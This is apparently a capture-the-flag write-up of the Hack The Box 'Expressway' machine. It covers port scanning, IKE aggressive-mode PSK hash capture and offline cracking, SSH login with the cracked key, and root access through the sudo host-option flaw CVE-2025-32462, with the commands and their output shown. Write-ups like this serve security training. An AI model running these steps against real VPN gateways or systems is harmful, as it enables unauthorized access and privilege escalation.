inHTBTHM
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Expressway

Box Info

OS
Difficulty

Linux

Easy

0x1 Nmap Scan

TCP Scan

nmap -sV -sC 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 18:35 EEST
Nmap scan report for 10.10.11.87
Host is up (0.32s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

we try to scan all ports but just ssh is only open using TCP Scan

UDP Scan

sudo nmap -sU -T4 10.10.11.87
PORT      STATE         SERVICE
2/udp     filtered      compressnet
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
500/udp   open          isakmp
682/udp   filtered      xfr
959/udp   filtered      unknown
3702/udp  filtered      ws-discovery
4500/udp  open|filtered nat-t-ike
4666/udp  filtered      edonkey
5632/udp  filtered      pcanywherestat
6050/udp  open|filtered x11
18373/udp open|filtered unknown
20217/udp filtered      unknown
20752/udp filtered      unknown
22055/udp open|filtered unknown
25931/udp filtered      unknown
31109/udp filtered      unknown
32931/udp filtered      unknown
49169/udp filtered      unknown
49188/udp filtered      unknown
49200/udp open|filtered unknown

we will notice port 500 is open which associated with the IKE (Internet Key Exchange) service. This protocol is the foundation of IPsec VPNs, used to negotiate secure tunnels. This is our attack surface.

0x2 IKE-Scan

ike-scan probes IKE (ISAKMP) services (typically UDP/500 or UDP/4500 with NAT-T) to discover VPN gateways and fingerprint them (Vendor ID/backoff). Key features:

sudo ike-scan 10.10.11.87
10.10.11.87     Main Mode Handshake returned HDR=(CKY-R=d7fed0ff80bab75b) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

  • The target responded with a Main Mode IKE handshake. IKE is running.

  • SA: 3DES / SHA1 / DH group 2 (modp1024) / Auth=PSK / Lifetime=28800s. → Server uses PSK auth with older crypto parameters.

  • Vendor IDs returned: XAUTH (implies additional username/password auth for remote-access) and Dead Peer Detection v1.0.

  • 1 returned handshake; 0 returned notify → one host responded with handshake; no notify messages.

  • Next steps (with permission): capture packets with tcpdump, use -aggressive --pskcrack to extract PSK params for offline cracking (ethical/legal warning), and run fingerprinting (-showbackoff / VID patterns).

Aggressive Scan

sudo ike-scan --aggressive --pskcrack=psk.out 10.10.11.87

Crack PSK

psk-crack -d ~/wordlist/rockyou.txt psk.out
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 73da6b21b10d497e7bc121d2b7d814be265064a3
Ending psk-crack: 8045039 iterations in 5.740 seconds (1401687.07 iterations/sec)

0x3 Initial foothold

ssh ike@10.10.11.87 
ke@10.10.11.87's password: 
Last login: Sun Sep 21 17:04:15 BST 2025 from 10.10.16.75 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 21 17:15:32 2025 from 10.10.16.73
ike@expressway:~$ ls
CVE-2025-32462.sh  user.txt
ike@expressway:~$ cat user.txt

We found something interest

  • CVE-2025-32462 → can privilege user to root permission using sudo -h

  • ike user is a member of proxy group

  • PATH → has a multiple sudo account which default sudo path is /usr/bin/sudo and machine sudo path /usr/local/bin/sudo and non default is the first in path

Finding One

that's meaning if we use localhost with sudo -h we can get root permission

Finding Two

we are a member in proxy group so this group often has permissions related to proxy services like Squid

ike@expressway:~$ ls -l /var/log/squid/
total 20
-rw-r----- 1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r----- 1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
-rw-r----- 1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r----- 1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz

check first file

ike@expressway:~$ cat /var/log/squid/access.log.1

that’s refer client tried to access an internal-only host named offramp.expressway.htb through the proxy

Finding Three

we will use none default root path

0x4 Root

ike@expressway:~$ /usr/local/bin/sudo -h offramp.expressway.htb bash
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